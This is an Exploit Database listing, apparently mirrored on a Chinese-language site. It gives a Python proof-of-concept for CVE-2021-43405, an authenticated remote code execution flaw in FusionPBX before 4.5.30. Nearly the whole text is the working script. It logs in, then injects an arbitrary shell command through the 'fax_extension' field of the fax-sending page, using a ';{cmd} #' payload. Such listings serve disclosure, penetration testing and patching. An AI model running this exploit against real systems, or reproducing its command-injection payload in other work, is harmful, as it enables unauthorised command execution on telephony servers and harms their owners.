FusionPBX 4.5.29 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 56 阅读

• 作者： Luska
  日期： 2021-11-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50505/

• # Exploit Title: FusionPBX 4.5.29 - Remote Code Execution (RCE) (Authenticated)
  # Date: 11/08/2021
  # Exploit Author: Luska
  # Vendor Homepage: https://www.fusionpbx.com/
  # Software Link: https://github.com/fusionpbx/fusionpbx
  # Version: < 4.5.30
  # Tested on: Debian
  # CVE : CVE-2021-43405
  
  #!/usr/bin/python3
  import requests
  from requests_toolbelt.multipart.encoder import MultipartEncoder
  import argparse
  
  
  cookies = {'PHPSESSID': '31337'}
  proxy = {'http': 'http://127.0.0.1:8080'}
  
  def login(url, username, password):
  data = {
  'username': username,
  'password': password
  }
  r = requests.post(url + '/core/user_settings/user_dashboard.php', data=data, cookies=cookies)
  return r.status_code
  
  def exploit_request(url, cmd):
  print('[+] Sending Exploit Request')
  mp_encoder = MultipartEncoder(fields={ 'fax_subject': '1337', 'fax_extension': f';{cmd} #', 'action': 'send', 'submit': 'send' })
  r = requests.post(url + '/app/fax/fax_send.php', cookies=cookies, headers={'Content-Type': mp_encoder.content_type}, data=mp_encoder, proxies=proxy)
  return r.status_code
  
  def exploit(url, username, password, cmd):
  if login(url,username,password) == 200:
  print('[+] Login Successful')
  exploit_request(url, cmd)
  print('[+] Exploit Sucessful')
  else:
  print('[-] Login Failed')
  
  if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='[*] FusionPBX < 4.5.30 Remote Code Execution | CVE-2021-43405')
  
  parser.add_argument('-t', metavar='<target/host URL>', help='Target/host URL, example: http://127.0.0.1', required=True)
  parser.add_argument('-u', metavar='<user>', help='User to login', required=True)
  parser.add_argument('-p', metavar='<password>', help='User\'s password', required=True)
  parser.add_argument('-c', metavar='<cmd>', help='Command to be executed', required=True)
  
  args = parser.parse_args()
  
  target = args.t
  user = args.u
  password = args.p
  cmd = args.c
  
  exploit(target, user, password, cmd)